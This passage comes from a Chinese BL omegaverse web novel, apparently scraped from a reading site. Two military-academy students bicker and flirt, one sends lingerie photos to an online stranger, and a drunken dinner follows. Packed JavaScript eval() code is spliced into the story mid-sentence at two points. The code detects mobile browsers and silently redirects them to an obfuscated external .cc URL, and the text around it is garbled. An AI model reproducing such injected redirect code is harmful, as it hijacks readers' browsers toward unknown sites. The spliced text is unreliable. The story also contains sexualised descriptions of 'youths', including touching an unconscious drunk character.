但是陆枭伸手搂住他脖子,轻轻捏住他后颈,软软的腺体肉,上面是硬硬的发茬。 “言言。” “回答。” 时言头发短,发质硬,全身上下,可能只有这块肉是软的。 时言一咬牙,一巴掌推开他,“…反正别在外面叫,还有,你别离我这么近,热。” 他小时候就爱捏自己后颈,像是对这块肉有口欲期似的。 其实他俩没有什么梁子,也没有仇,但是就陆枭这性子,外冷内疯狗,不论哪一面,都特别难缠。 简直是有毛病! 时言耳朵红红的。 陆枭伸手,轻轻撩开他被风吹乱的发丝,手指不经意间划过他的耳垂:“好软,想咬一口。” 时言熟练地躲了一下,挑了下唇角,挑衅似的看回去,冷笑着:“你是alpha吗就咬?” 陆枭的眸色微微一暗,也不知道在想什么,有一点沉,有一点疯。 “就让alpha咬?” 时言:? 少年的不发达腺体被一层软肉包裹着,细腻且娇嫩,色泽比周围肌肤略浅,是淡淡的粉色。 用手指轻轻按压,便能感觉到柔软,透着温热。 陆枭的齿尖难耐地磨了磨。 不知道怎么回事,最近牙很痒。 “如果我非要咬呢?” “言言,以前有人咬过吗?” 4. 有梦想 时言一把捂住陆枭的嘴,左看右看,果然,大家都在用一种看八卦的眼神盯着他们。 就是说,有点暧昧了兄弟。 其实他们俩就不应该坐在一起的,陆枭表面上看上去很正常,但是一到抬杠的时候就特别显眼包,表情很生动,他平时就可冷着一张脸了,就很高傲。 “你有病吧,”时言的手指微微拱起一个小弧度,避开陆枭的嘴唇,“你又不是alpha,为什么有爱咬腺体这种毛病?而且我又不是omega,你别幻想了,要不要我替你找个omega试试交往?” 陆枭眨了眨眼睛,长睫毛一抬,锋利的眸子直勾勾地盯着时言。 舌尖抵在唇边,飞快地舔了一下时言的指缝,与此同时那眉毛飞得跟窜天火箭似的,又坏又痞,要笑不笑的。 时言:“……” 少年的嘴唇很软,很热,手掌心贴在上面的时候,有种莫名的想要蹂.躏的冲动。 时言有时候也挺怀疑自己是不是有点什么大病来着。 陆枭挑着眉毛,一副你敢松手我就敢问的架势,时言咬了咬牙,最终还是硬邦邦地说:“没、有被alpha咬过,行了吧。” 陆枭的眉眼微微松动,带着一点点笑意。 时言有点难以启齿,“那种病…不就是分化不出来ABO性别吗,谁会咬我?” 陆枭慢条斯理地点了点头,目光缓缓下移,落在了时言捂他嘴的手上。 然后,少年的手轻轻抬起来,盖在时言的手背上,缓缓地揉了一下,快得好像一场错觉。 “松开我。”陆枭含糊不清地说,“时小言,你就这么对待你的青梅竹马?” 时言顿时像被火烧着了一样,手心湿漉漉的,是少年留下的一抹水痕。 时言手指一弯,准确无误地掐住了陆枭的脸,盯着少年皱着的眉头,警告他:“再闹揍你。” “那我好怕怕哦。”陆枭笑弯了眼,“可惜了,言言的拳头没有嘴硬。” “……” 时言怕再捂着陆枭就影响不好了,还是把手放了下来,自己憋气憋了半天。 陆枭好整以暇地整理了一下制服的领口,也转头去看舞台,也不说话了,一双瞳仁剔透幽远,像藏着无尽的秘密。 一边的柚木叶都看傻了,戳了戳时言的胳膊,“时哥,你俩有仇啊?” 时言还在气头上,笃定地说:“有仇。” 柚木叶哦哦了两声,很好奇地问:“是做恨那种吗?” 时言没听懂,“小叶子,你说的是哪个星球的话?” 柚木叶立刻说:“诶呀,没什么,做不了爱就做恨嘛,我懂的。” 说完还一脸可可爱爱的微笑。 时言听不懂,气都气不起来,只好杵着下巴,认命地看节目去了。 节目是很精彩的,可是,时言看得出神,眼前好像浮现出小时候的画面。 雨夜小巷子的水泥地上,小狮子一样的少年陆枭被打得体无完肤,拼了命的反抗,一身雪白的衣服已经脏污,握着一把手枪,却已经没有了子弹。 alpha们狰狞地笑了。 他们是星盗,想杀死一个6岁小孩简直是轻而易举。 这些成年的、已分化的alpha们已经进化出了二级形态,所以在陆枭面前出现的不只是身强体壮的alpha,而是豹子、雄虎、森林狼、白熊alpha男性。 就在陆枭打算和他们玩儿命的时候,幼年期时言跌跌撞撞出现了。 5岁的小幼崽时言和他爸时指挥官一样嫉恶如仇,不苟言笑,用军部特制的精神力干扰器把10个alpha都弄晕了,然后把自己的枪给了陆枭。 “你要报仇,”小时言一本正经的,“你不可以让自己被欺负,谁要是打你,你就拼了命的打回去,这是爸爸告诉我的。” 小陆枭抹了把脸上的血,冷酷的小脸没有一丝恐惧,接过枪,一枪一个alpha,崩了他们。 他把枪还给小时言,嘴唇颤抖了半天,什么也没说出来,然后在大雨中紧紧抱住了小时言。 小时言这才注意到他其实一身的伤痕和血迹,被大雨冲刷,蹲下来给他洗洗干净,然后用随身携带的绷带给他缠好伤口。 小时言拍拍他的手,“好啦,咱俩去玩吧!那边有好多好多水坑喔!” 小陆枭点点头,显然是第一次有人对他这么好,他牢牢捏住了小时言的手,头也不回地跟他跑了。 这是他们的初遇,那个被打死也不认输,流血流汗不流泪的小少年,就是联邦数一数二的天才陆枭。 他父亲陆上将被联邦判处与星盗有地下交易行为,哪怕最后星盗被逮捕,星盗首领澄清对陆上将的污蔑,但是给这个家庭造成的伤害已经无法避免。 作为陆上将的儿子,陆枭从小就生活在被指着鼻子嘲笑,辱骂殴打的环境下,他没疯没黑化,还能考第一,就已经很不错了。 和他6岁就端枪和十个alpha互殴这种事来看,偶尔逃学、上课睡觉那就是小意思。 也许对小时言来说,随手救下小陆枭是自己多管闲事,但是对小陆枭而言,至少得到了一把保护伞。 只是这把保护伞现在特别想爆炸,然后远离长大后的陆枭。 抢他的伞,让这个讨厌的男生被雨淋透! - 迎新仪式结束之后,所有单兵系一年级新生到食堂简简单单吃了个饭,然后统一在1:30之前到西区12训练场集合。 巨大的穹顶笼罩着一片金属的冷光,空气中弥漫着机油与金属特有的气息,一台台机甲静静伫立在场地中央,流线型的机身闪耀着冰冷光泽,机械臂上的能量炮口散发着威慑感。 时言一看就很喜欢,他是军事迷。 但是美中不足的是,陆枭和他一组。 一想想待会儿要和陆枭坐在一个狭窄的作战操作间,时言就很想逃跑。 陆枭毫无知觉地站在他身边。 教官的声音通过扩音器在场地回荡:“每一组队员要以最快的时间来熟悉机甲,因为这一期的课程结束后,就是为期一周的实战课,我知道你们这里的每一个人都曾是所在学校的优等生,但是进了赫墨斯,每个人都是平等的,我们不搞阶级歧视和性别歧视那一套,不论你是alpha,beta,还是omega,都是联邦的学生,都要为星际和平贡献力量。” “学校就应该是学习的地方。” “所以校方决定,学习结束后,第一期实战课的场地选在亚布力沙漠。” “这是一个很大胆的挑战,目前为止,还没有军校敢在开学第二周就进行实战演练,所以你们要勇争一流,有实力来证明自己值得赫墨斯的培养,不要做胆小鬼,让我对你们失望。” 所有同学都发出了难以置信的哗然,时言下意识和陆枭对视了一眼,意识到自己在做什么之后,时言立刻挪开了目光。 教官菲利尔严肃地看了他们一眼,然后看向了那些机甲:“现在请小组同学随机选择一台机甲,作为你们本学期课程的武器。” 其他同学迅速开始行动,生怕晚一点就找不到心仪的机甲,大家都找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时言不甘示弱,一把拍开陆枭的手:“少得意,我也行,而且考试证明,我精神力区间数值比你稳定,你容易失控,不适合做主人。” 陆枭耸了耸肩,“那我做你的副手,做你的后盾。” 时言点点头,然后弯腰研究起操纵杆的功能,手指在上面轻轻滑动,试图找到最佳的操作手感。 陆枭也在机甲内摸索着各个构造的功能。 第一节课只是熟悉机甲,下课很快。 柚木叶蹦蹦跳跳跑过来,“时哥,我和莱厄斯去练习打枪,你们呢?也去吗?” 时言:“可以啊。” 陆枭:“算了,你们去吧,我找时言有事。” 柚木叶点点头:“哦,那晚上一起出去聚餐,庆祝我们四个做室友,我请客。” 柚木家族是联邦排名前十的家族,养出来的小少爷也是白白嫩嫩的,手指细长白皙,一副没吃过苦的样子,很单纯可爱的。 时言没推脱,“好。” 陆枭也没说不行:“我和时言一起去。” 柚木叶笑了笑,拉着莱厄斯走了,“快点走,我一定要在实训之前学会打枪!” 莱厄斯很温和地跟着他走了。 陆枭回过头来问:“言言,你一会儿干什么去?” 算了,愿意叫就叫吧,叫老公也叫吧,时言也懒得挑他毛病了:“回公寓。” 然后上网钓渣男,不知道渣男又有什么新花样要闹呢。 陆枭一副没察觉什么异常的样子,时言松了一口气,回了公寓。 好消息是,TT来消息了。 坏消息是,渣男又没憋好屁。 【渣男a:一天没见面,有点想你了。】 【渣男a:想看宝宝在公共场合拍照。】 【渣男a:给主人看。】 【渣男a:会乖吗?】 5. 卫生间 时言先是捂着脸冷静了十秒钟,终于给自己省了一万块星币。 差点就把光脑砸了,最新款的光脑呢,怪贵的。 妈妈一个月给了他3000块生活费,他还要拿出800块租房,心都在滴血。 说真的,这800块陆枭应该拿400,另外400让渣男拿。 时言脸上没有一点点表情,心如死灰,心如止水。 【小咪耳朵:会乖。】 那边,陆枭捏起咖啡杯的手柄,动作舒缓地喝了一口,放下杯,错落枪茧的手指轻轻敲了敲桌面的边缘。 透过这行文字,好像能看见那个俊朗帅气的男生正对着光脑憋红了脸,攥紧了拳,耳垂那一小块肉也红红的,说不定还会想暴走。 估计这位从来没向谁服过软低过头的男生,心理建设已经崩塌。 陆枭冷肃的眸子里划过一丝涟漪,手指敲了敲屏幕回话。 “叮叮!” 时言立刻看向光脑。 瞳孔嗡的一下地震! 心里把烂渣男alpha都骂了个遍! 【渣男a:没礼貌的孩子。】 【渣男a:该叫我什么?】 【小咪耳朵:男朋友呀。】 【渣男a:我刚才说过,你看见了。】 【渣男a:别装傻。】 时言咬了下嘴唇。 跟我玩这套是吧! 这个混蛋。 但是眼下,时言只能忍气吞声。 【小咪耳朵:…主人。】 【渣男a:嗯。】 【渣男a:记得拍照。】 【小咪耳朵:嗯嗯,会乖乖拍照哦。】 时言一扔光脑,捂着额头往后一躺,整个人瘫在游戏转椅软乎乎的靠垫里。 骨骼分明的手捂在脸上,扒着下眼睑,怪叫两声,感觉自己在cos从地里爬出来的吸血鬼。 就是说,此时此刻很想报复社会,把alpha都嘎了…都嘎了… 时言甩了甩脑袋,萎靡不振,磨磨唧唧地拖着腿一步一步爬到衣柜前,翻出密码箱子,开始翻找情趣内衣。 天知道,这些内衣都是他用私密账号买的,从家里带到学校来,就怕在学校收快递被误拆了尴尬。 时言红着脸想,能代表自己是个“omega女生”的,大概只有露出一条内衣吊带了。 这有件蕾丝内衣,就好像还行? 时言红着脸拎起来察看一下,这个设计师采用了半透明的白蕾丝面料,前面重点部位防止凸点,还做了蝴蝶翅膀的细带设计,后背故意不做处理,一直到后腰那里都是镂空的,一点点白纱,连接着蝴蝶的两侧翅突。 再往下就没有了,大大一个空洞和空洞。 …烧的要死。 时言脸上热的能烫鸡蛋,闭着眼睛,给自己穿上。 好多丝带难以处理,不得不在镜子前眯着眼睛穿。 好不容易穿好了之后,时言终于意识到男款和女款有什么不同。 “……” 男款附赠一条包裹住鸡蛋烤肠的丝袜。 时言没脸见人了,现在就想打电话给表妹要精神补偿款。 正准备撩起衣服,捏着鼻子给自己拍照。 “笃笃笃!” 敲门声! “谁!”时言猛地一喊,下意识捂裆,智脑差点吓掉。 应激了不好意思。 “我,陆枭。” “开门。” 啊???他来干嘛? 哦对,晚上要寝室聚餐来着。 他怎么现在就来啊!要死了要死了要死了真的是! 时言立刻把制服往自己身上套,但是军校制服可能就是为了约束军校生的言行,每一处折痕都像是用直尺精准丈量过,很难立刻穿好而不乱,把肩带藏进白衬衫里,要扣好扣子! 还有该死的裤子! 军裤裤线笔直锋利,如同出鞘的利刃,在往腿上套的时候,还要把里面那条男士白蕾丝丝袜藏进去,不能露出一点点白边! 时言气的快要炸了。 啊啊啊啊啊啊啊啊不活了! 时言板着一张脸去开门。 “找我有事?” 陆枭被门风吹乱了刘海,直勾勾地望着眼前的俊帅少年。 少年浑身线条刚劲有力,流苏顺着肩膀、紧实的腰身自然垂下,腰带勒住腰,腰很细,枪一般宽窄。 下身长裤,脚蹬锃亮的黑皮军靴,靴面上没有一丝灰尘,反射出冷峻的光,干脆有力,让他穿出了军校的纪律与威严。 陆枭不动声色地移开视线,落到了时言那双黑润润的眼眸里,“我喊你去吃饭,你在忙什么?” 时言别过脸,回头锁门,“什么也没忙,走吧。” 时言走在前面,试图甩掉他。 陆枭不疾不徐,踩着他的影子,和他并肩走出公寓楼。 他们乘坐悬浮艇,来到了摩天塔大厦。 在费利克斯星的繁华版图之上,摩天塔大厦宛如一柄直插云霄的利刃,作为星上最高的尖顶建筑,这无疑是地标性的存在。 这栋大厦是柚木家族的产业之一,集休闲娱乐设施于一体,每一处细节都彰显着极致的奢华与科技感,顶楼的宴会厅更是惊艳绝伦,规格之高,足可与梦幻的星际花园相媲美。 时言和陆枭走进去,服务生立刻迎上来。 “是时先生,陆先生吗?” 服务生的眼睛差点黏在他俩脸上,“请跟我来。” 服务生带领他俩坐电梯上楼,电梯间里,时言一直不敢和陆枭挨得太近,虽然陆枭不可能扒他衣领看,但是时言心虚啊! 好在大厦里有很多“隐秘的角落”,可以有时机偷偷拍个照片。 …太糟糕了简直是,陆枭为什么偏得在那个时候敲门! 时言懊恼地来到包厢前,柚木叶很热情地把他们抓进去,“时哥,陆哥,怎么才来?来吃东西,吃完咱们出去耍!” 莱厄斯也站起身,笑着打趣:“你们再不来,叶子都要把这桌子菜消灭一半了。” 他的目光在他们俩脸上打转:“你们俩吵架了?” 时言微微笑了一下,“怎么会呢。” 不会吵架,能动手尽量不吵吵。 时言看了下周围,包厢四面是玻璃,外部是费利克斯星的中心城区,穹顶是目前最先进的星象模拟技术,实时展现着宇宙中变幻莫测的神秘天象,“小少爷,请吃个饭,这么奢侈?” 柚木叶摆了摆手:“还好啦,下次请你们去我家,我家就在景区里,地方宽敞。” 时言嗅了嗅。 嗯,不止有菜香,还有金钱的味道。 众人落座,柚木叶一边给大家倒着特制的星核果汁,一边开口:“话说陆哥,我看陆上将在驻扎凤凰要塞的新闻了,陆上将叫你跟士兵们军训,那边环境是不是特别恶劣?” 陆枭接过果汁,微微点头:“是,辐射干扰强,机甲零件损耗快,但也很锻炼战斗技术,还学会了维修机甲。” 莱厄斯给柚木叶夹菜,柚木叶就一边把嘴巴塞的鼓鼓的,一边叭叭好奇:“那……会不会遇到星际海盗?” 时言默默吃着饭。 星盗是陆枭一生之痛,他和星盗势不两立。 陆枭会不会生气? …… 不对,他生不生气管我什么事? 陆枭看了柚木叶一眼,目光平静随和:“遇到过几次,不过都有星际护卫队巡逻,没出什么事。” 莱厄斯问:“我听说边境星球上的能量风暴很壮观,和军校模拟舱里的完全不一样?” 陆枭回忆片刻,缓缓说道:“模拟舱里还是弱化了危险,真实的能量风暴能把小型机甲直接卷走,颜色五彩斑斓,却藏着致命危险,如果我们遇到了,一定要跑。” 柚木叶拍了下大腿:“这学期说不定也有机会去边境执行任务,得提前把机甲操作练熟,我和莱厄斯说好了,让他把我教会,否则我就去他家找他爸告状。” 莱厄斯一笑,“不会欺负你的。” 时言说:“你别欺负人家,莱厄斯父亲是联邦法庭的首席法官,肯定会公平判决的。” 柚木叶笑眯眯的:“反正他也不敢。” 趁他们说话的功夫,时言终于找到机会溜出去。 “我去个卫生间。” 柚木叶正在往嘴里塞饭:“唔…去吧去吧,等你回来再喝酒。” 时言嗯嗯点头,神色如常地走出去,立刻躲进卫生间。 时言心跳如鼓,双手微微发颤。 深吸一口气,缓缓解开制服的纽扣,动作带着一丝决绝。 拼了! 制服滑落,露出里面熨帖的白衬衫,领口的扣子被他轻轻解开两颗,白皙的肌肤若隐若现。 紧接着,他的手探向肩膀,将一侧的肩带慢慢扯下。 纤细的肩带顺着手臂滑落,在白皙的肌肤上留下一道淡淡的痕迹。 时言摆好姿势,手机镜头对准肩膀,屏幕里倒映着少年泛红的脸颊和略带紧张却又故作镇定的眼神。 时言小心地避开了自己的脸。 按下快门,“咔嚓”一声,闪光灯在狭小的空间里亮起。 时言看着照片,颤抖着手指,轻点屏幕,将照片发给了渣男alpha。 【小咪耳朵:[图片.jpg]】 【小咪耳朵:今夜星光月色都是你的,我也是。】 发完后,他胸口剧烈起伏。 我完了我完了我完了… 过了会儿。 【渣男a:好看。】 【渣男a:再拍点。】 还拍? 时言闭了闭眼,咬紧牙关。 拍就拍。 少年微微侧身,调整姿势,镜头对准自己的锁骨。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358818|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 肌肤在衬衫的半遮半掩下若隐若现,透着别样的性感。 这样才看不出来不是女孩子。 【小咪耳朵:[图片.jpg]】 【小咪耳朵:哥哥知道我从小就没有老公的,想和哥哥1314。】 【渣男a:好看。】 【渣男a:现在说1314,不早吗?】 【小咪耳朵:早吗?可是想和哥哥13个小时,14个套。】 【小咪耳朵:刚洗白白,哥哥闻闻香不香?】 过了大概五分钟。 【渣男a:闻不到。】 【渣男a:视频一下?】 时言:! 不能看!看了不就露馅了吗! 【小咪耳朵:不要啦哥哥,要睡觉了。】 【渣男a:好。】 【渣男a:晚安。】 时言刚想回话,这时候陆枭的消息进来了。 他们俩联系的方式还是校园网账号,没什么特别的,同学们都有,时言碍于面子也不能拉黑他。 时言点开界面。 我敲?? 这个疯子在短短十分钟里居然给他发了这么多消息? 【陆狗:你在哪?】 【陆狗:掉厕所里了?】 … 【陆狗:言言,时小言,言仔。】 【陆狗:理我。】 【陆狗:怎么不回?】 【陆狗:行,爱回不回。】 【陆狗:一分钟。】 【陆狗:两分钟,再给你一分钟。】 【陆狗:行。】 【陆狗:真不理我?】 【陆狗:我等着看你什么时候从马桶里爬出来。】 【陆狗:人呢?】 【陆狗:10分钟零28秒。】 【陆狗:抓你去了。】 【陆狗:待着别跑,后果你知道。】 完了,疯子来了! 时言感觉自己是恐怖片主角,走廊那头传来疯子举着锤子砸门的声音。 捏着智脑,时言躲在卫生间小角落里瑟瑟发抖,找地方藏。 哦,都差点忘了这是厕所了,除非跟水一起冲走。 但是智脑又响了。 【渣男a:……】 【渣男a:宝宝,我说了晚安。】 …… 时言:已疯,勿念。 这智脑脏了,不能要了。 【小咪耳朵:晚安。】 刚回完,卫生间的门就缓缓被推开。 时言看见一双脚在门缝里靠近,在几个门口徘徊,最后准确地站在了时言门口。 “言言。” “别躲了。” 陆枭的声音不大,刚好能穿透卫生间门案,让里面的人听的一清二楚。 “不开门的话,我就自己进去了,到时候看到点什么不该看见的,别怪我不给你道歉。” 时言下意识抬头往天花板上面看。 就很怕突然看见陆枭的眼睛。 好在陆枭只是有病,不是有精神病。 多亏是腺体没味儿,否则陆枭不是一闻就知道? 时言硬着头皮给他开门,“肚子不舒服,你催什么催?” 然而陆枭不客气地挤进来。 时言:诶! 时言眨了眨眼睛,愣了,“你干嘛?” 冷峻面容的少年微微垂下眼,用身体将时言堵在角落里,明明没有触碰到时言,但是形成了一个无法突破的禁锢。 “这话应该我问你。” 陆枭的身体慢慢压下去,时言忍不住要躲,然而少年修长有力的手掌缓缓握住了他的腰,五指扣紧,阻挠了时言身体往下坠的姿势。 四周都是铜墙铁壁,时言没时间临时打洞逃出去。 时言只能盯回去。 啊?问为什么不打陆枭? 唉。 打不过呗,还能有啥原因,又不是没打过,但是陆枭蝉联军部青训营的格斗冠军四届,时言也很难打赢他。 陆枭的目光在他领口处徘徊:“穿这么好看,在卫生间选秀?” 时言别过头,睫毛簌簌抖了抖:“没,赶紧让开,我要出去。” 陆枭故意使坏,单条膝盖卡住时言的两条腿中间,“你说让我就让?我没底线的?” 陆枭往前顶了下:“说不说?” 时言下意识咬了下嘴唇,“我说什么?你审犯人啊?” 陆枭冷冷淡淡的目光在时言的领口处溜走,过了会儿,他说:“还挺神秘,算了,不说就不说。” 时言默默地松了口气,“让我走。” 陆枭却还不让路,撩开时言眼眶边碎乱的头发,有一束光打在少年澄澈的眼睛里,照亮半张漂亮的脸。 陆枭意有所指地说:“言言,求人就这态度?” “该怎么说,你再想想。” 6. 白蕾丝 时言大概懂这个狗心里在想什么了。 “……” 行吧,只要不让陆枭看见自己制服里面套情趣内衣,怎么都成! 时言脸色微红,声音却比神情更冷淡:“下次肯定告诉你,这次就当没看见吧。” 陆枭神情散漫,勾起唇角:“好,记住你给我的承诺。” 时言:…… 人最怕的就是有把柄在死敌手里握着。 陆枭的身体往后撤,时言终于有了一丝喘息的空间。 陆枭垂眸看着他,“你没喝过酒,待会儿少喝点。” “知道了。”时言低着头,推开他走了出去,陆枭笑了笑,跟了出去。 回到包厢后,时言装作什么事情也没有发生,自己根本没在厕所拍情趣照。 一点也不尴尬。 … 时言神色如常地吃了口菜。 有出息了,时言! 陆枭坐下之后,侍应生给他们倒酒,他尝了一点,似乎是觉得味道不错,慢条斯理地又喝了一口。 柚木叶要和时言撞杯:“时哥,我开学之前听说你和陆哥要来这个学校,还以为你们有多可怕,没想到居然和你们当了室友,我跟我爸妈说,他俩可高兴了,还说赫墨斯的制度严格,实训机会更多,让我跟你们好好学,以后就不怕涉险了。时哥,要不咱俩干一杯?” 时言没尝过酒,很好奇酒是什么味道,想了想说:“你也是很优秀的,干杯。” 柚木叶喝了一大口,时言也跟着喝了一口。 嗯…甜的? 还不错。 再来一口! 时言慢慢地抿着酒,感觉自己喝了不少,举起杯子一看,却只喝掉了一个大拇指那么高。 “好、好喝。”时言擦了擦嘴角,皱皱眉,“就是有点热,空调开很高吗?” 还有点晕。 “没有,”莱厄斯,“正常温度,你怎么了,时言?” 时言:“我没事啊,你为什么这么问?” 时言还没等意识到发生了什么,脑袋就一歪,整个人往前扑去。 “诶呀时哥!原来你不能喝酒呀?”柚木叶立刻跑过来,“这才喝了两口吧?怎么就晕了?” 时言抬眼看他,歪了歪头:“你、你还怪好看的,我第一眼见你,还以为你是omega。” 柚木叶脸红:“诶?我怎么觉得,时哥喝了酒,话也多了?” 时言摇了摇头,“我没事,那什么,我回屋睡觉了啊。” 柚木叶左看右看,哭笑不得:“这哪儿有屋啊,时哥喝多了,明天要是起不来上课,我就摊事了。” 莱厄斯叫服务生端来醒酒汤,给时言灌下去一碗。 但是酒劲儿不是能这么快就消散的,时言站起来,很大气地说:“没事,我、我自己走,我能行。” 时言才走了两步,整个人就开始往下砸。 陆枭伸手扶住了他,看向柚木叶,“叶子,你这儿有客房吗?我送他去休息一下。” 柚木叶立刻点点头:“有,我叫人给你开。” 时言支支吾吾地说不出来话,呼吸也变得粗重起来,扭头看了一眼陆枭,像不认识他似的,好奇地捏着他的鼻子:“诶,你怎么站起来了?” 陆枭挑了挑眉:“我不能站起来?” 狗能站起来吗? 时言很好奇,但是没多问。 …今天真是喝多了,狗都会说人话了。 陆枭眯起眼睛打量着他,然后时言微微笑了下,脸颊上露出两个浅浅的小酒窝,摸了摸陆枭的头,“好乖哦。” 陆枭的表情不太对。 时言撅着嘴唇:“嘬嘬嘬嘬。” 陆枭:“……” 陆枭咬着牙,额头上爆青筋,给时言带出去了。 时言被他搀着往电梯里走,去客房那一层。 时言脚步虚浮,酒精在他的血管里肆意奔腾,让他的意识有些模糊,身体还不停地往身边的人方向靠。 “陆枭。”时言声音很低,“我好像喝酒了。” 陆枭:“嗯,还喝多了。” 陆枭捏着时言的鼻子,时言一脸不满,陆枭扬起眉毛,还用力捏了捏:“时小言,你不服?” 时言皱着眉头,握住他的手腕,“不服。” 陆枭看着他的手,也不知道怎么养出来的白皙的皮肤,茧子也少,青青蓝蓝的血管,清晰又生动。 脸看着像alpha,蒙住脸,哪哪都像omega。 时言的声音带着一点鼻音:“松开我,陆枭,你又欺负人。” 陆枭压低声音说:“我欺负的就是你。” “怎么样,你要打我吗?” 时言茫然的“嗯?”了一声,“你说什么?我没听清。” 陆枭凑过去,目光描摹着他的唇瓣,喉结明显的滚了一滚。 “我说,”陆枭声音放慢也放缓,“我就想欺负你,你能拿我怎么办?” 时言认真的想了想。 “咬你。” 少年亮亮的眼睛盯紧了陆枭,低头,一口咬住陆枭的手腕尺骨,像个亮出尖牙的小兽,咬住了就不松口。 陆枭疼得“嘶——”了一声。 “时小言,你…” 他突然想起什么,笑得很坏,伸出一根手指,挠了挠少年的下巴。 “嘬嘬嘬嘬嘬。” 少年眨了眨眼睛,望着他:? 陆枭的嗓音带着好听的沙哑,蛊惑一般压低了声音说:“小狗狗是怎么叫的?” 少年很天真地说:“汪?” 陆枭忍俊不禁,“好乖。” 时言下巴痒,挪开了脑袋,脑子里像一盒八宝粥,咕嘟咕嘟地乱七八糟。 陆枭又问:“那beta是怎么叫老公的?” 时言听见这两个字,本能地回答他:“老婆?” 陆枭一怔,皮笑肉不笑地揉了揉时言的脑袋,“看来还不算太傻。” 就在这时,一阵隐约的哭喊声钻进了时言的耳朵。 时言皱了皱眉头,循声望去,只见几个富家少爷正将一个柔弱的omega围在中间。 omega身形单薄,在男人们的推搡下瑟瑟发抖,漂亮的眼睛里蓄满了泪水,无助又恐惧。 看到这一幕,心底的正义感瞬间被点燃。 “有意思吗你们?” 时言虽然喝多了,但是肾上腺素开始分泌,他插兜靠在墙边,冷漠的一张脸,不耐烦的眉头皱起来,高挑身影像一把刃利的长剑,在身后的红毯上投下一道月光的长长影子。 “你是beta?” 几个男人看了看对方,冷笑着朝他冲了过来:“关你屁事?滚开,你个beta,难不成也痴心妄想要睡这个omega?” 时言:“我没你们那么恶心,看到omega就想着睡。” 时言虽然喝多了,但下手却没有丝毫留情,他的拳头带着一股狠劲,每一下都重重地落在男人们身上。 男人们被这突如其来的攻击打得措手不及,一开始还试图反抗,但在少年冷静精准的攻击下,很快就只有招架之力。 不一会儿,他们东倒西歪地躺在地上,发出痛苦的呻.吟。 一只强有力的手突然抓住了时言的胳膊。 陆枭低声说:“可以了,再打出事了。” 时言转过头,对上了陆枭那双深邃的眼睛:“…我不管,他欺负人就不行。” 陆枭神色冷峻,“喝多了都不知道累,我看你一点都没醉。” 时言打了个酒嗝,“醉了。” 陆枭看了看他,嘴角微微上扬,带着一丝调侃的意味又说:“喊一声哥,什么都答应你,还用得着你动手?” 喝得迷迷糊糊的时言,此刻大脑反应迟缓,想都没想就顺着陆枭的话喊道:“哥。” 说完,双腿一软,整个人就要往地上倒去。 陆枭眼疾手快,一把将他扶住,看着时言这副醉得不省人事的模样,无奈地叹了口气。 他把时言背到自己后背上,喊那个omega,“你走吧。” omega紧张地看着昏睡过去的时言,“帅哥,他没事吧?” 陆枭的脸上没有什么表情,冷冷淡淡的样子,波澜不惊的语气:“他没事。但是你记得下次出门的时候,如果身边没有alpha保护你,就要用信息素抑制贴盖住腺体,省得再出事。” omega乖乖地点点头,看了会儿陆枭,突然说:“你是陆枭吗?我也是赫墨斯的,我在学校见过你!” 陆枭语气淡淡的:“既然是军校生,更不应该没有常识。” omega被说的小脸通红,“我知道了,对不起,下次不会了。” 陆枭没再说什么,“这和我没有关系。” 随后,陆枭背着时言,回到了楼层。 柚木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358819|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶给他们开好的房间在最里面,很安静。 陆枭刷卡开门,把时言放到沙发上,给他接了一杯温水,喂给他喝。 时言张着嘴像小鱼一样咕噜噜喝掉,闭着眼睛,像是困了,要睡觉。 陆枭单膝下跪,给他脱靴。 然而,陆枭看见,他军靴的边缘好像有一层薄薄的奶白色,很轻薄,材质不像衬裤,倒是像丝袜。 陆枭看了那地方一会儿,随后目光轻描淡写地落在时言的肩膀。 时言刚才打架是一点没留力气,制服都被扯开了,整洁禁欲的领口处,有一条白色的白蕾丝吊带露出来。 陆枭的呼吸逐渐沉重。 这比照片要刺激眼球。 时言是喝多了才没注意,否则怎么可能漏出这么大的破绽? 不过今天…难道他除了上半身,下半身也穿的丝袜? 就在制服里面套的情趣内衣,穿了一天? “…………” 陆枭听见自己的呼吸声,还有时言的呼吸声。 时言睡得很沉,完全察觉不到外界的干扰,他从小心就大,没有什么事放在心里,好像练就了一颗金刚不坏的心脏,百毒不侵似的,不论身在哪里,都好像是在家里。 陆枭一言不发,把时言的领口纽扣一颗一颗扣紧。 至少从外表上来看,什么都看不出来,这就可以了。 陆枭垂下眼睫,站起来,打来一盆温水,用清水毛巾简单擦了擦他的脸上的汗水,动作轻柔而又耐心。 时言翻了个身,陆枭顺势把他打横抱起来,放到了床上。 一碰到床,时言就似乎叹了一声,很舒服的样子,他睡着之后,连头发也变得柔软,贴在白津津的脸颊上,呼吸也逐渐安静下来。 等陆枭收拾好房间里的枕头和被子,已经到了晚上,柚木叶在群里说:【时哥睡了吗?】 陆枭安静回复:【睡了,我陪他,今晚可能不能玩了,你们俩玩。】 莱厄斯:【行,你好好照顾他,明天别迟到。】 陆枭:【好。】 陆枭放下智脑,看着时言安静的睡脸,忍不住伸手摸了摸他的头发,喃喃自语:“你什么时候能让我省点心?” 